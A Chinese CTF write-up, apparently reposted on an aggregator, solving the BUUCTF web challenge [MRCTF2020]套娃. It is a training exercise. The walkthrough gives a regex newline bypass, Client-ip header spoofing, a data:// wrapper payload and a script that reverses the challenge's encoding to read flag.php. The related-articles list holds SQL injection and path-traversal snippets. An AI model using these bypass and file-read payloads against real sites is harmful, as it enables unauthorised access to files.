BUUCTF:[MRCTF2020]套娃

这篇具有很好参考价值的文章主要介绍了BUUCTF:[MRCTF2020]套娃。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

查看源码发现

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

PHP非法参数名传参问题,详细请参考我的这篇文章:谈一谈PHP中关于非法参数名传参问题

正则这里绕过使用%0a换行符绕过,payload: /?b.u.p.t=23333%0a

得到下一步信息:secrettw.php

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

注释中的是JsFuck,用这个网站去运行即可得到信息:https://jsfuck.com

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

POST传个Merak=mochu7即可查看源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这里这个getIp()尝试过常见的XFF绕过方法无效,这里也不知道takeip.php,也是看别人的Writeup才知道要添加一个Client-ip请求字段,至于file_get_contents($_GET['2333']) === 'todat is a happy day' 都是老生常谈的考点了,伪协议php://或者data://传入即可。

至于change($_GET['file']),逆一下change()方法,即可控制file_get_contents()读取文件

<?php 
function change($v) {
	$v = base64_decode($v);
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) + $i * 2);
	}
	return $re;
}

function unChange($v){
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) - $i * 2);
	}
	$re = base64_encode($re);
	return $re;
}

$data = "flag.php";
var_dump(Unchange($data));

 ?>
PS C:\Users\Administrator\Downloads> php .\code.php
C:\Users\Administrator\Downloads\code.php:22:
string(12) "ZmpdYSZmXGI="

注意需要添加个请求字段:Client-ip: 127.0.0.1

/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020

查看源码即可获得flag

buuctf [mrctf2020]套娃,CTF_WEB_Writeup,MRCTF2020文章来源地址https://www.toymoban.com/news/detail-732727.html

到了这里,关于BUUCTF:[MRCTF2020]套娃的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • BUUCTF:[GYCTF2020]FlaskApp

    Flask的网站,这里的功能是Base64编码解码,并输出 并且是存在SSTI的 /hint 提示 PIN 码 既然提示 PIN ,那应该是开启了 Debug 模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码 参考ye1s师傅的:Flask debug模式下的 PIN 码安全性 可知,要

    2024年02月07日
    浏览(29)
  • 【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(29)
  • [CTF/网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1

    免责声明:本文仅分享AntSword渗透相关知识,不承担任何法律责任。 请读者自行安装BurpSuite,本文不再赘述。 在用户名和密码都未知的情况下,进行用户名、密码的组合爆破,效率极低。 先爆破用户名,再利用得到的用户名爆破密码,将提高爆破速度。 题目 操作 Burp抓包

    2024年02月06日
    浏览(37)
  • BUUCTF-WEB2

    1.启动靶机 2.寻找注入点和注入方法 随便输入一个字母,没有回显 随便输入一个数字,发现有回显,并且回显结果一样 3.堆叠注入 1; show databases;     #查看数据库 1; show tables;    #查看数据表 里面有个flag 1;set sql_mode=PIPES_AS_CONCAT;select 1 1; :这个部分是一个 SQL 查询的结束符

    2024年04月28日
    浏览(27)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(55)
  • BUUCTF--Web篇详细wp

    CTF平台:https://buuoj.cn/ 使用万能密码登入即可。 flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76} F12 查看源代码 发现是 PHP 代码审计(小猫挺可爱呢~) 传了一个变量 然后是 GET 请求 如果 cat=dog 就会输出 flag 构造 Payload:/?cat=dog flag{86e415ca-8d55-4868-afb3-ec58d239dbb7} 打开网页看到滑稽图 直接 F12

    2024年02月03日
    浏览(26)
  • BUUCTF-WEB-刷题记录

    代码理解 进入主页后发现是代码审计 / 解题 总的来说关注三行就够了,连起来可以这样理解: 创建一个目录名为orange+右上角的访客ip的MD5加密值 d a t a 接受 s h e l l 命令最后写入目录名 / data接受shell命令最后写入目录名/ d a t a 接受 s h e ll 命令最后写入目录名 / filename文件名里

    2024年02月07日
    浏览(32)
  • BUUCTF题目Web部分wp(持续更新)

    如有权限,查询当前用户可以访问的所有表 字符串拼接,避免字符串被过滤。 利用字符串内联注入 利用终止式SQL注入 。也就是利用SQL语法中的注释。 利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会

    2024年02月13日
    浏览(26)
  • BUUCTF NewStarCTF 2023 WEB题WP

    直接在URL处访问www.zip文件 将下载下来的www.zip文件解压即可得到flag 常见的文件泄露一般泄露的都是网站的备份文件,常见的备份的文件名通常为 wwwroot、www、子域名等,压缩包后缀通常为 zip、tar.gz 等 其他的也有配置文件的泄露。建议自己收集一个敏感文件的字典 很简单的

    2024年02月08日
    浏览(35)
  • BUUCTF-练习场-WEB-第一部分(8道)

    payload: 1\\\' or 1=1# \\\'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容 F12查看源代码,发现注释中有一个source.php文件名称 访问这个文件

    2024年02月06日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包